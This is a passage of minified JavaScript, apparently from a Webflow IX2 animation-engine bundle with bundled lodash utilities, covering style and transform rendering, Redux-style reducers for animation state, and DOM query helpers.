g.TRANSFORM_MOVE:return\"\".concat(I.TRANSLATE_3D,\"(\").concat(o).concat(l,\", \").concat(u).concat(E,\", \").concat(s).concat(v,\")\");case g.TRANSFORM_SCALE:return\"\".concat(I.SCALE_3D,\"(\").concat(o).concat(l,\", \").concat(u).concat(E,\", \").concat(s).concat(v,\")\");case g.TRANSFORM_ROTATE:return\"\".concat(I.ROTATE_X,\"(\").concat(o).concat(l,\") \").concat(I.ROTATE_Y,\"(\").concat(u).concat(E,\") \").concat(I.ROTATE_Z,\"(\").concat(s).concat(v,\")\");case g.TRANSFORM_SKEW:return\"\".concat(I.SKEW,\"(\").concat(o).concat(l,\", \").concat(u).concat(E,\")\");default:return\"\"}}).join(\" \"),a=i.setStyle;U(t,O.TRANSFORM_PREFIXED,i),a(t,O.TRANSFORM_PREFIXED,o),u=r,c=n,s=u.actionTypeId,f=c.xValue,l=c.yValue,d=c.zValue,(s===g.TRANSFORM_MOVE&&void 0!==d||s===g.TRANSFORM_SCALE&&void 0!==d||s===g.TRANSFORM_ROTATE&&(void 0!==f||void 0!==l))&&a(t,O.TRANSFORM_STYLE_PREFIXED,I.PRESERVE_3D);var u,c,s,f,l,d}(t,e,n,i,a);case I.RENDER_STYLE:return function(t,e,n,r,i,o){var a=o.setStyle,u=r.actionTypeId,c=r.config;switch(u){case g.STYLE_SIZE:var s=r.config,f=s.widthUnit,d=void 0===f?\"\":f,E=s.heightUnit,p=void 0===E?\"\":E,v=n.widthValue,_=n.heightValue;void 0!==v&&(d===I.AUTO&&(d=\"px\"),U(t,I.WIDTH,o),a(t,I.WIDTH,v+d)),void 0!==_&&(p===I.AUTO&&(p=\"px\"),U(t,I.HEIGHT,o),a(t,I.HEIGHT,_+p));break;case g.STYLE_FILTER:!function(t,e,n,r){var i=(0,l.default)(e,function(t,e,r){return\"\".concat(t,\" \").concat(r,\"(\").concat(e).concat(G(r,n),\")\")},\"\"),o=r.setStyle;U(t,I.FILTER,r),o(t,I.FILTER,i)}(t,n,c,o);break;case g.STYLE_BACKGROUND_COLOR:case g.STYLE_BORDER:case g.STYLE_TEXT_COLOR:var h=m[u],T=Math.round(n.rValue),O=Math.round(n.gValue),y=Math.round(n.bValue),A=n.aValue;U(t,h,o),a(t,h,A>=1?\"rgb(\".concat(T,\",\").concat(O,\",\").concat(y,\")\"):\"rgba(\".concat(T,\",\").concat(O,\",\").concat(y,\",\").concat(A,\")\"));break;default:var S=c.unit,R=void 0===S?\"\":S;U(t,i,o),a(t,i,n.value+R)}}(t,0,n,i,o,a);case I.RENDER_GENERAL:return function(t,e,n){var r=n.setStyle;switch(e.actionTypeId){case g.GENERAL_DISPLAY:var i=e.config.value;return void(i===I.FLEX&&O.IS_BROWSER_ENV?r(t,I.DISPLAY,O.FLEX_PREFIXED):r(t,I.DISPLAY,i))}}(t,i,a);case I.RENDER_PLUGIN:var s=i.actionTypeId;if((0,h.isPluginType)(s))return(0,h.renderPlugin)(s)(c,e,i)}},e.clearAllStyles=function(t){var e=t.store,n=t.elementApi,r=e.getState().ixData,i=r.events,o=void 0===i?{}:i,a=r.actionLists,u=void 0===a?{}:a;Object.keys(o).forEach(function(t){var e=o[t],r=e.action.config,i=r.actionListId,a=u[i];a&&W({actionList:a,event:e,elementApi:n})}),Object.keys(u).forEach(function(t){W({actionList:u[t],elementApi:n})})},e.cleanupHTMLElement=function(t,e,n){var r=n.setStyle,i=n.getStyle,o=e.actionTypeId;if(o===g.STYLE_SIZE){var a=e.config;a.widthUnit===I.AUTO&&r(t,I.WIDTH,\"\"),a.heightUnit===I.AUTO&&r(t,I.HEIGHT,\"\")}i(t,I.WILL_CHANGE)&&H({effect:B,actionTypeId:o,elementApi:n})(t)},e.getMaxDurationItemIndex=z,e.getActionListProgress=function(t,e){var n=t.actionItemGroups,r=t.useFirstGroupAsInitialState,i=e.actionItem,o=e.verboseTimeElapsed,a=void 0===o?0:o,u=0,c=0;return n.forEach(function(t,e){if(!r||0!==e){var n=t.actionItems,o=n[z(n)],s=o.config,f=o.actionTypeId;i.id===o.id&&(c=u+a);var l=D(f)===I.RENDER_GENERAL?0:s.duration;u+=s.delay+l}}),u>0?(0,_.optimizeFloat)(c/u):0},e.reduceListToGroup=function(t){var e=t.actionListId,n=t.actionItemId,r=t.rawData,i=r.actionLists[e];if(!i)throw new Error([\"IX2VanillaUtils: Could not find action list with ID \".concat(JSON.stringify(e)),\"\",\"Raw Data:\",JSON.stringify(r)].join(\"\\n\"));var o=i.actionItemGroups,a=i.continuousParameterGroups,u=[],s=function(t){return u.push((0,p.mergeIn)(t,[\"config\"],{delay:0,duration:0})),t.id===n};return o&&o.some(function(t){return t.actionItems.some(s)}),a&&a.some(function(t){return t.continuousActionGroups.some(function(t){return t.actionItems.some(s)})}),(0,p.setIn)(r,[\"actionLists\"],(0,c.default)({},e,{id:e,actionItemGroups:[{actionItems:u}]}))},e.shouldNamespaceEventParameter=function(t,e){var n=e.basedOn;return t===T.SCROLLING_IN_VIEW&&(n===T.ELEMENT||null==n)||t===T.MOUSE_MOVE&&n===T.ELEMENT},e.getNamespacedParameterId=function(t,e){return t+I.COLON_DELIMITER+e},e.shouldAllowMediaQuery=function(t,e){if(null==e)return!0;return-1!==t.indexOf(e)},e.mediaQueriesEqual=function(t,e){return(0,v.default)(t&&t.sort(),e&&e.sort())},e.stringifyTarget=function(t){if(\"string\"==typeof t)return t;var e=t.id,n=void 0===e?\"\":e,r=t.selector,i=void 0===r?\"\":r,o=t.useEventTarget,a=void 0===o?\"\":o;return n+I.BAR_DELIMITER+i+I.BAR_DELIMITER+a},e.getItemConfigByKey=void 0;var f=s(n(193)),l=s(n(194)),d=s(n(200)),E=s(n(23)),p=n(13),v=s(n(93)),_=n(86),h=n(90),I=n(48),T=n(89),g=n(47),O=n(30),y=function(t){return t.trim()},m=Object.freeze((r={},(0,c.default)(r,g.STYLE_BACKGROUND_COLOR,I.BACKGROUND_COLOR),(0,c.default)(r,g.STYLE_BORDER,I.BORDER_COLOR),(0,c.default)(r,g.STYLE_TEXT_COLOR,I.COLOR),r)),A=Object.freeze((i={},(0,c.default)(i,O.TRANSFORM_PREFIXED,I.TRANSFORM),(0,c.default)(i,I.BACKGROUND_COLOR,I.BACKGROUND),(0,c.default)(i,I.OPACITY,I.OPACITY),(0,c.default)(i,I.FILTER,I.FILTER),(0,c.default)(i,I.WIDTH,I.WIDTH),(0,c.default)(i,I.HEIGHT,I.HEIGHT),i)),S={},R=1;var N=1;var b=function(t,e){return t===e};function C(t){var e=(0,u.default)(t);return\"string\"===e?{id:t}:null!=t&&\"object\"===e?{id:t.id,objectId:t.objectId,selector:t.selector,selectorGuids:t.selectorGuids,appliesTo:t.appliesTo,useEventTarget:t.useEventTarget}:{}}function L(t){var e=t.config,n=t.event,r=t.eventTarget,i=t.elementRoot,o=t.elementApi;if(!o)throw new Error(\"IX2 missing elementApi\");var a=o.getValidDocument,u=o.getQuerySelector,c=o.queryDocument,s=o.getChildElements,f=o.getSiblingElements,l=o.matchSelector,d=o.elementContains,p=o.isSiblingNode,v=e.target;if(!v)return[];var _=C(v),h=_.id,g=_.objectId,y=_.selector,m=_.selectorGuids,A=_.appliesTo,R=_.useEventTarget;if(g)return[S[g]||(S[g]={})];if(A===T.PAGE){var N=a(h);return N?[N]:[]}var b,L,w,x=(0,E.default)(n,\"action.config.affectedElements\",{})[h||y]||{},P=Boolean(x.id||x.selector),D=n&&u(C(n.target));if(P?(b=x.limitAffectedElements,L=D,w=u(x)):L=w=u({id:h,selector:y,selectorGuids:m}),n&&R){var M=r&&(w||!0===R)?[r]:c(D);if(w){if(R===I.PARENT)return c(w).filter(function(t){return M.some(function(e){return d(t,e)})});if(R===I.CHILDREN)return c(w).filter(function(t){return M.some(function(e){return d(e,t)})});if(R===I.SIBLINGS)return c(w).filter(function(t){return M.some(function(e){return p(e,t)})})}return M}return null==L||null==w?[]:O.IS_BROWSER_ENV&&i?c(w).filter(function(t){return i.contains(t)}):b===I.CHILDREN?c(L,w):b===I.IMMEDIATE_CHILDREN?s(c(L)).filter(l(w)):b===I.SIBLINGS?f(c(L)).filter(l(w)):c(w)}var w=/px/,x=function(t,e){return e.reduce(function(t,e){return null==t[e.type]&&(t[e.type]=F[e.type]),t},t||{})};var P=function(t,e){return e&&(t[e.type]=e.value||0),t};function D(t){return/^TRANSFORM_/.test(t)?I.RENDER_TRANSFORM:/^STYLE_/.test(t)?I.RENDER_STYLE:/^GENERAL_/.test(t)?I.RENDER_GENERAL:/^PLUGIN_/.test(t)?I.RENDER_PLUGIN:void 0}e.getItemConfigByKey=function(t,e,n){if((0,h.isPluginType)(t))return(0,h.getPluginConfig)(t)(n,e);switch(t){case g.STYLE_FILTER:var r=(0,d.default)(n.filters,function(t){return t.type===e});return r?r.value:0;default:return n[e]}};var M=(o={},(0,c.default)(o,g.TRANSFORM_MOVE,Object.freeze({xValue:0,yValue:0,zValue:0})),(0,c.default)(o,g.TRANSFORM_SCALE,Object.freeze({xValue:1,yValue:1,zValue:1})),(0,c.default)(o,g.TRANSFORM_ROTATE,Object.freeze({xValue:0,yValue:0,zValue:0})),(0,c.default)(o,g.TRANSFORM_SKEW,Object.freeze({xValue:0,yValue:0})),o),F=Object.freeze({blur:0,\"hue-rotate\":0,invert:0,grayscale:0,saturate:100,sepia:0,contrast:100,brightness:100}),G=function(t,e){var n=(0,d.default)(e.filters,function(e){return e.type===t});if(n&&n.unit)return n.unit;switch(t){case\"blur\":return\"px\";case\"hue-rotate\":return\"deg\";default:return\"%\"}},j=Object.keys(M);var V=/^rgb/,X=RegExp(\"rgba?\".concat(\"\\\\(([^)]+)\\\\)\"));function U(t,e,n){if(O.IS_BROWSER_ENV){var r=A[e];if(r){var i=n.getStyle,o=n.setStyle,a=i(t,I.WILL_CHANGE);if(a){var u=a.split(I.COMMA_DELIMITER).map(y);-1===u.indexOf(r)&&o(t,I.WILL_CHANGE,u.concat(r).join(I.COMMA_DELIMITER))}else o(t,I.WILL_CHANGE,r)}}}function B(t,e,n){if(O.IS_BROWSER_ENV){var r=A[e];if(r){var i=n.getStyle,o=n.setStyle,a=i(t,I.WILL_CHANGE);a&&-1!==a.indexOf(r)&&o(t,I.WILL_CHANGE,a.split(I.COMMA_DELIMITER).map(y).filter(function(t){return t!==r}).join(I.COMMA_DELIMITER))}}}function W(t){var e=t.actionList,n=void 0===e?{}:e,r=t.event,i=t.elementApi,o=n.actionItemGroups,a=n.continuousParameterGroups;o&&o.forEach(function(t){k({actionGroup:t,event:r,elementApi:i})}),a&&a.forEach(function(t){t.continuousActionGroups.forEach(function(t){k({actionGroup:t,event:r,elementApi:i})})})}function k(t){var e=t.actionGroup,n=t.event,r=t.elementApi;e.actionItems.forEach(function(t){var e,i=t.actionTypeId,o=t.config;e=(0,h.isPluginType)(i)?(0,h.clearPlugin)(i):H({effect:Y,actionTypeId:i,elementApi:r}),L({config:o,event:n,elementApi:r}).forEach(e)})}var H=function(t){var e=t.effect,n=t.actionTypeId,r=t.elementApi;return function(t){switch(n){case g.TRANSFORM_MOVE:case g.TRANSFORM_SCALE:case g.TRANSFORM_ROTATE:case g.TRANSFORM_SKEW:e(t,O.TRANSFORM_PREFIXED,r);break;case g.STYLE_FILTER:e(t,I.FILTER,r);break;case g.STYLE_OPACITY:e(t,I.OPACITY,r);break;case g.STYLE_SIZE:e(t,I.WIDTH,r),e(t,I.HEIGHT,r);break;case g.STYLE_BACKGROUND_COLOR:case g.STYLE_BORDER:case g.STYLE_TEXT_COLOR:e(t,m[n],r);break;case g.GENERAL_DISPLAY:e(t,I.DISPLAY,r)}}};function Y(t,e,n){var r=n.setStyle;B(t,e,n),r(t,e,\"\"),e===O.TRANSFORM_PREFIXED&&r(t,O.TRANSFORM_STYLE_PREFIXED,\"\")}function z(t){var e=0,n=0;return t.forEach(function(t,r){var i=t.config,o=i.delay+i.duration;o>=e&&(e=o,n=r)}),n}},function(t,e){t.exports=function(t,e){return null==t||t!=t?e:t}},function(t,e,n){var r=n(195),i=n(91),o=n(5),a=n(199),u=n(1);t.exports=function(t,e,n){var c=u(t)?r:a,s=arguments.length<3;return c(t,o(e,4),n,s,i)}},function(t,e){t.exports=function(t,e,n,r){var i=-1,o=null==t?0:t.length;for(r&&o&&(n=t[++i]);++i<o;)n=e(n,t[i],i,t);return n}},function(t,e,n){var r=n(197)();t.exports=r},function(t,e){t.exports=function(t){return function(e,n,r){for(var i=-1,o=Object(e),a=r(e),u=a.length;u--;){var c=a[t?u:++i];if(!1===n(o[c],c,o))break}return e}}},function(t,e,n){var r=n(10);t.exports=function(t,e){return function(n,i){if(null==n)return n;if(!r(n))return t(n,i);for(var o=n.length,a=e?o:-1,u=Object(n);(e?a--:++a<o)&&!1!==i(u[a],a,u););return n}}},function(t,e){t.exports=function(t,e,n,r,i){return i(t,function(t,i,o){n=r?(r=!1,t):e(n,t,i,o)}),n}},function(t,e,n){var r=n(63)(n(201));t.exports=r},function(t,e,n){var r=n(83),i=n(5),o=n(45),a=Math.max,u=Math.min;t.exports=function(t,e,n){var c=null==t?0:t.length;if(!c)return-1;var s=c-1;return void 0!==n&&(s=o(n),s=n<0?a(c+s,0):u(s,c-1)),r(t,i(e,3),s,!0)}},function(t,e,n){\"use strict\";var r=Object.prototype.hasOwnProperty;function i(t,e){return t===e?0!==t||0!==e||1/t==1/e:t!=t&&e!=e}t.exports=function(t,e){if(i(t,e))return!0;if(\"object\"!=typeof t||null===t||\"object\"!=typeof e||null===e)return!1;var n=Object.keys(t),o=Object.keys(e);if(n.length!==o.length)return!1;for(var a=0;a<n.length;a++)if(!r.call(e,n[a])||!i(t[n[a]],e[n[a]]))return!1;return!0}},function(t,e,n){\"use strict\";var r,i=n(0)(n(14)),o=n(0);Object.defineProperty(e,\"__esModule\",{value:!0}),e.ixRequest=void 0;var a=o(n(26)),u=n(2),c=n(13),s=u.IX2EngineActionTypes,f=s.IX2_PREVIEW_REQUESTED,l=s.IX2_PLAYBACK_REQUESTED,d=s.IX2_STOP_REQUESTED,E=s.IX2_CLEAR_REQUESTED,p={preview:{},playback:{},stop:{},clear:{}},v=Object.create(null,(r={},(0,i.default)(r,f,{value:\"preview\"}),(0,i.default)(r,l,{value:\"playback\"}),(0,i.default)(r,d,{value:\"stop\"}),(0,i.default)(r,E,{value:\"clear\"}),r));e.ixRequest=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:p,e=arguments.length>1?arguments[1]:void 0;if(e.type in v){var n=[v[e.type]];return(0,c.setIn)(t,[n],(0,a.default)({},e.payload))}return t}},function(t,e,n){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.ixSession=void 0;var r=n(2),i=n(13),o=r.IX2EngineActionTypes,a=o.IX2_SESSION_INITIALIZED,u=o.IX2_SESSION_STARTED,c=o.IX2_TEST_FRAME_RENDERED,s=o.IX2_SESSION_STOPPED,f=o.IX2_EVENT_LISTENER_ADDED,l=o.IX2_EVENT_STATE_CHANGED,d=o.IX2_ANIMATION_FRAME_CHANGED,E=o.IX2_ACTION_LIST_PLAYBACK_CHANGED,p=o.IX2_VIEWPORT_WIDTH_CHANGED,v=o.IX2_MEDIA_QUERIES_DEFINED,_={active:!1,tick:0,eventListeners:[],eventState:{},playbackState:{},viewportWidth:0,mediaQueryKey:null,hasBoundaryNodes:!1,hasDefinedMediaQueries:!1};e.ixSession=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:_,e=arguments.length>1?arguments[1]:void 0;switch(e.type){case a:var n=e.payload.hasBoundaryNodes;return(0,i.set)(t,\"hasBoundaryNodes\",n);case u:return(0,i.set)(t,\"active\",!0);case c:var r=e.payload.step,o=void 0===r?20:r;return(0,i.set)(t,\"tick\",t.tick+o);case s:return _;case d:var h=e.payload.now;return(0,i.set)(t,\"tick\",h);case f:var I=(0,i.addLast)(t.eventListeners,e.payload);return(0,i.set)(t,\"eventListeners\",I);case l:var T=e.payload,g=T.stateKey,O=T.newState;return(0,i.setIn)(t,[\"eventState\",g],O);case E:var y=e.payload,m=y.actionListId,A=y.isPlaying;return(0,i.setIn)(t,[\"playbackState\",m],A);case p:for(var S=e.payload,R=S.width,N=S.mediaQueries,b=N.length,C=null,L=0;L<b;L++){var w=N[L],x=w.key,P=w.min,D=w.max;if(R>=P&&R<=D){C=x;break}}return(0,i.merge)(t,{viewportWidth:R,mediaQueryKey:C});case v:return(0,i.set)(t,\"hasDefinedMediaQueries\",!0);default:return t}}},function(t,e,n){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.ixInstances=void 0;var r=n(2),i=n(13),o=r.IX2EngineActionTypes,a=o.IX2_RAW_DATA_IMPORTED,u=o.IX2_SESSION_STOPPED,c=o.IX2_INSTANCE_ADDED,s=o.IX2_INSTANCE_STARTED,f=o.IX2_INSTANCE_REMOVED,l=o.IX2_ANIMATION_FRAME_CHANGED,d=r.IX2EasingUtils,E=d.optimizeFloat,p=d.applyEasing,v=d.createBezierEasing,_=r.IX2EngineConstants.RENDER_GENERAL,h=r.IX2VanillaUtils,I=h.getItemConfigByKey,T=h.getRenderType,g=h.getStyleProp,O=function(t,e){var n=t.position,r=t.parameterId,o=t.actionGroups,a=t.destinationKeys,u=t.smoothing,c=t.restingValue,s=t.actionTypeId,f=t.customEasingFn,l=e.payload.parameters,d=Math.max(1-u,.01),v=l[r];null==v&&(d=1,v=c);var _,h,T,g,O=Math.max(v,0)||0,y=E(O-n),m=E(n+y*d),A=100*m;if(m===n&&t.current)return t;for(var S=0,R=o.length;S<R;S++){var N=o[S],b=N.keyframe,C=N.actionItems;if(0===S&&(_=C[0]),A>=b){_=C[0];var L=o[S+1],w=L&&A!==b;h=w?L.actionItems[0]:null,w&&(T=b/100,g=(L.keyframe-b)/100)}}var x={};if(_&&!h)for(var P=0,D=a.length;P<D;P++){var M=a[P];x[M]=I(s,M,_.config)}else if(_&&h)for(var F=(m-T)/g,G=_.config.easing,j=p(G,F,f),V=0,X=a.length;V<X;V++){var U=a[V],B=I(s,U,_.config),W=(I(s,U,h.config)-B)*j+B;x[U]=W}return(0,i.merge)(t,{position:m,current:x})},y=function(t,e){var n=t,r=n.active,o=n.origin,a=n.start,u=n.immediate,c=n.renderType,s=n.verbose,f=n.actionItem,l=n.destination,d=n.destinationKeys,v=n.pluginDuration,h=n.instanceDelay,I=n.customEasingFn,T=f.config.easing,g=f.config,O=g.duration,y=g.delay;null!=v&&(O=v),y=null!=h?h:y,c===_?O=0:u&&(O=y=0);var m=e.payload.now;if(r&&o){var A=m-(a+y);if(s){var S=m-a,R=O+y,N=E(Math.min(Math.max(0,S/R),1));t=(0,i.set)(t,\"verboseTimeElapsed\",R*N)}if(A<0)return t;var b=E(Math.min(Math.max(0,A/O),1)),C=p(T,b,I),L={},w=null;return d.length&&(w=d.reduce(function(t,e){var n=l[e],r=parseFloat(o[e])||0,i=(parseFloat(n)-r)*C+r;return t[e]=i,t},{})),L.current=w,L.position=b,1===b&&(L.active=!1,L.complete=!0),(0,i.merge)(t,L)}return t};e.ixInstances=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Object.freeze({}),e=arguments.length>1?arguments[1]:void 0;switch(e.type){case a:return e.payload.ixInstances||Object.freeze({});case u:return Object.freeze({});case c:var n=e.payload,r=n.instanceId,o=n.elementId,d=n.actionItem,E=n.eventId,p=n.eventTarget,_=n.eventStateKey,h=n.actionListId,I=n.groupIndex,m=n.isCarrier,A=n.origin,S=n.destination,R=n.immediate,N=n.verbose,b=n.continuous,C=n.parameterId,L=n.actionGroups,w=n.smoothing,x=n.restingValue,P=n.pluginInstance,D=n.pluginDuration,M=n.instanceDelay,F=d.actionTypeId,G=T(F),j=g(G,F),V=Object.keys(S).filter(function(t){return null!=S[t]}),X=d.config.easing;return(0,i.set)(t,r,{id:r,elementId:o,active:!1,position:0,start:0,origin:A,destination:S,destinationKeys:V,immediate:R,verbose:N,current:null,actionItem:d,actionTypeId:F,eventId:E,eventTarget:p,eventStateKey:_,actionListId:h,groupIndex:I,renderType:G,isCarrier:m,styleProp:j,continuous:b,parameterId:C,actionGroups:L,smoothing:w,restingValue:x,pluginInstance:P,pluginDuration:D,instanceDelay:M,customEasingFn:Array.isArray(X)&&4===X.length?v(X):void 0});case s:var U=e.payload,B=U.instanceId,W=U.time;return(0,i.mergeIn)(t,[B],{active:!0,complete:!1,start:W});case f:var k=e.payload.instanceId;if(!t[k])return t;for(var H={},Y=Object.keys(t),z=Y.length,K=0;K<z;K++){var Q=Y[K];Q!==k&&(H[Q]=t[Q])}return H;case l:for(var q=t,$=Object.keys(t),Z=$.length,J=0;J<Z;J++){var tt=$[J],et=t[tt],nt=et.continuous?O:y;q=(0,i.set)(q,tt,nt(et,e))}return q;default:return t}}},function(t,e,n){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.ixParameters=void 0;var r=n(2).IX2EngineActionTypes,i=r.IX2_RAW_DATA_IMPORTED,o=r.IX2_SESSION_STOPPED,a=r.IX2_PARAMETER_CHANGED;e.ixParameters=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=arguments.length>1?arguments[1]:void 0;switch(e.type){case i:return e.payload.ixParameters||{};case o:return{};case a:var n=e.payload,r=n.key,u=n.value;return t[r]=u,t;default:return t}}},function(t,e,n){var r=n(208);t.exports=function(t,e){if(null==t)return{};var n,i,o=r(t,e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(t);for(i=0;i<a.length;i++)n=a[i],e.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(t,n)&&(o[n]=t[n])}return o}},function(t,e){t.exports=function(t,e){if(null==t)return{};var n,r,i={},o=Object.keys(t);for(r=0;r<o.length;r++)n=o[r],e.indexOf(n)>=0||(i[n]=t[n]);return i}},function(t,e,n){var r=n(39),i=n(41),o=n(10),a=n(210),u=n(211),c=\"[object Map]\",s=\"[object Set]\";t.exports=function(t){if(null==t)return 0;if(o(t))return a(t)?u(t):t.length;var e=i(t);return e==c||e==s?t.size:r(t).length}},function(t,e,n){var r=n(9),i=n(1),o=n(7),a=\"[object String]\";t.exports=function(t){return\"string\"==typeof t||!i(t)&&o(t)&&r(t)==a}},function(t,e,n){var r=n(212),i=n(213),o=n(214);t.exports=function(t){return i(t)?o(t):r(t)}},function(t,e,n){var r=n(82)(\"length\");t.exports=r},function(t,e){var n=RegExp(\"[\\\\u200d\\\\ud800-\\\\udfff\\\\u0300-\\\\u036f\\\\ufe20-\\\\ufe2f\\\\u20d0-\\\\u20ff\\\\ufe0e\\\\ufe0f]\");t.exports=function(t){return n.test(t)}},function(t,e){var n=\"[\\\\ud800-\\\\udfff]\",r=\"[\\\\u0300-\\\\u036f\\\\ufe20-\\\\ufe2f\\\\u20d0-\\\\u20ff]\",i=\"\\\\ud83c[\\\\udffb-\\\\udfff]\",o=\"[^\\\\ud800-\\\\udfff]\",a=\"(?:\\\\ud83c[\\\\udde6-\\\\uddff]){2}\",u=\"[\\\\ud800-\\\\udbff][\\\\udc00-\\\\udfff]\",c=\"(?:\"+r+\"|\"+i+\")\"+\"?\",s=\"[\\\\ufe0e\\\\ufe0f]?\"+c+(\"(?:\\\\u200d(?:\"+[o,a,u].join(\"|\")+\")[\\\\ufe0e\\\\ufe0f]?\"+c+\")*\"),f=\"(?:\"+[o+r+\"?\",r,a,u,n].join(\"|\")+\")\",l=RegExp(i+\"(?=\"+i+\")|\"+f+s,\"g\");t.exports=function(t){for(var e=l.lastIndex=0;l.test(t);)++e;return e}},function(t,e,n){var r=n(5),i=n(216),o=n(217);t.exports=function(t,e){return o(t,i(r(e)))}},function(t,e){var n=\"Expected a function\";t.exports=function(t){if(\"function\"!=typeof t)throw new TypeError(n);return function(){var e=arguments;switch(e.length){case 0:return!t.call(this);case 1:return!t.call(this,e[0]);case 2:return!t.call(this,e[0],e[1]);case 3:return!t.call(this,e[0],e[1],e[2])}return!t.apply(this,e)}}},function(t,e,n){var r=n(81),i=n(5),o=n(218),a=n(221);t.exports=function(t,e){if(null==t)return{};var n=r(a(t),function(t){return[t]});return e=i(e),o(t,n,function(t,n){return e(t,n[0])})}},function(t,e,n){var r=n(42),i=n(219),o=n(24);t.exports=function(t,e,n){for(var a=-1,u=e.length,c={};++a<u;){var s=e[a],f=r(t,s);n(f,s)&&i(c,o(s,t),f)}return c}},function(t,e,n){var r=n(220),i=n(24),o=n(36),a=n(4),u=n(12);t.exports=function(t,e,n,c){if(!a(t))return t;for(var s=-1,f=(e=i(e,t)).length,l=f-1,d=t;null!=d&&++s<f;){var E=u(e[s]),p=n;if(s!=l){var v=d[E];void 0===(p=c?c(v,E,d):void 0)&&(p=a(v)?v:o(e[s+1])?[]:{})}r(d,E,p),d=d[E]}return t}},function(t,e,n){var r=n(95),i=n(31),o=Object.prototype.hasOwnProperty;t.exports=function(t,e,n){var a=t[e];o.call(t,e)&&i(a,n)&&(void 0!==n||e in t)||r(t,e,n)}},function(t,e,n){var r=n(70),i=n(222),o=n(224);t.exports=function(t){return r(t,o,i)}},function(t,e,n){var r=n(34),i=n(223),o=n(71),a=n(72),u=Object.getOwnPropertySymbols?function(t){for(var e=[];t;)r(e,o(t)),t=i(t);return e}:a;t.exports=u},function(t,e,n){var r=n(75)(Object.getPrototypeOf,Object);t.exports=r},function(t,e,n){var r=n(73),i=n(225),o=n(10);t.exports=function(t){return o(t)?r(t,!0):i(t)}},function(t,e,n){var r=n(4),i=n(40),o=n(226),a=Object.prototype.hasOwnProperty;t.exports=function(t){if(!r(t))return o(t);var e=i(t),n=[];for(var u in t)(\"constructor\"!=u||!e&&a.call(t,u))&&n.push(u);return n}},function(t,e){t.exports=function(t){var e=[];if(null!=t)for(var n in Object(t))e.push(n);return e}},function(t,e,n){var r=n(39),i=n(41),o=n(22),a=n(1),u=n(10),c=n(35),s=n(40),f=n(37),l=\"[object Map]\",d=\"[object Set]\",E=Object.prototype.hasOwnProperty;t.exports=function(t){if(null==t)return!0;if(u(t)&&(a(t)||\"string\"==typeof t||\"function\"==typeof t.splice||c(t)||f(t)||o(t)))return!t.length;var e=i(t);if(e==l||e==d)return!t.size;if(s(t))return!r(t).length;for(var n in t)if(E.call(t,n))return!1;return!0}},function(t,e,n){var r=n(95),i=n(92),o=n(5);t.exports=function(t,e){var n={};return e=o(e,3),i(t,function(t,i,o){r(n,i,e(t,i,o))}),n}},function(t,e,n){var r=n(230),i=n(91),o=n(231),a=n(1);t.exports=function(t,e){return(a(t)?r:i)(t,o(e))}},function(t,e){t.exports=function(t,e){for(var n=-1,r=null==t?0:t.length;++n<r&&!1!==e(t[n],n,t););return t}},function(t,e,n){var r=n(44);t.exports=function(t){return\"function\"==typeof t?t:r}},function(t,e,n){var r=n(97),i=n(80),o=n(45),a=n(79);t.exports=function(t,e,n){t=a(t),e=i(e);var u=t.length,c=n=void 0===n?u:r(o(n),0,u);return(n-=e.length)>=0&&t.slice(n,c)==e}},function(t,e,n){var r=n(234),i=n(4),o=\"Expected a function\";t.exports=function(t,e,n){var a=!0,u=!0;if(\"function\"!=typeof t)throw new TypeError(o);return i(n)&&(a=\"leading\"in n?!!n.leading:a,u=\"trailing\"in n?!!n.trailing:u),r(t,e,{leading:a,maxWait:e,trailing:u})}},function(t,e,n){var r=n(4),i=n(235),o=n(46),a=\"Expected a function\",u=Math.max,c=Math.min;t.exports=function(t,e,n){var s,f,l,d,E,p,v=0,_=!1,h=!1,I=!0;if(\"function\"!=typeof t)throw new TypeError(a);function T(e){var n=s,r=f;return s=f=void 0,v=e,d=t.apply(r,n)}function g(t){var n=t-p;return void 0===p||n>=e||n<0||h&&t-v>=l}function O(){var t=i();if(g(t))return y(t);E=setTimeout(O,function(t){var n=e-(t-p);return h?c(n,l-(t-v)):n}(t))}function y(t){return E=void 0,I&&s?T(t):(s=f=void 0,d)}function m(){var t=i(),n=g(t);if(s=arguments,f=this,p=t,n){if(void 0===E)return function(t){return v=t,E=setTimeout(O,e),_?T(t):d}(p);if(h)return clearTimeout(E),E=setTimeout(O,e),T(p)}return void 0===E&&(E=setTimeout(O,e)),d}return e=o(e)||0,r(n)&&(_=!!n.leading,l=(h=\"maxWait\"in n)?u(o(n.maxWait)||0,e):l,I=\"trailing\"in n?!!n.trailing:I),m.cancel=function(){void 0!==E&&clearTimeout(E),v=0,s=p=f=E=void 0},m.flush=function(){return void 0===E?d:y(i())},m}},function(t,e,n){var r=n(3);t.exports=function(){return r.Date.now()}},function(t,e,n){\"use strict\";var r=n(0)(n(15));Object.defineProperty(e,\"__esModule\",{value:!0}),e.setStyle=function(t,e,n){t.style[e]=n},e.getStyle=function(t,e){return t.style[e]},e.getProperty=function(t,e){return t[e]},e.matchSelector=function(t){return function(e){return e[o](t)}},e.getQuerySelector=function(t){var e=t.id,n=t.selector;if(e){var r=e;if(-1!==e.indexOf(u)){var i=e.split(u),o=i[0];if(r=i[1],o!==document.documentElement.getAttribute(f))return null}return'[data-p-id^=\"'.concat(r,'\"]')}return n},e.getValidDocument=function(t){if(null==t||t===document.documentElement.getAttribute(f))return document;return null},e.queryDocument=function(t,e){return Array.prototype.slice.call(document.querySelectorAll(e?t+\" \"+e:t))},e.elementContains=function(t,e){return t.contains(e)},e.isSiblingNode=function(t,e){return t!==e&&t.parentNode===e.parentNode},e.getChildElements=function(){for(var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],e=[],n=0,r=t.length;n<r;n++){var i=t[n].children,o=i.length;if(o)for(var a=0;a<o;a++)e.push(i[a])}return e},e.getSiblingElements=function(){for(var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],e=[],n=[],r=0,i=t.length;r<i;r++){var 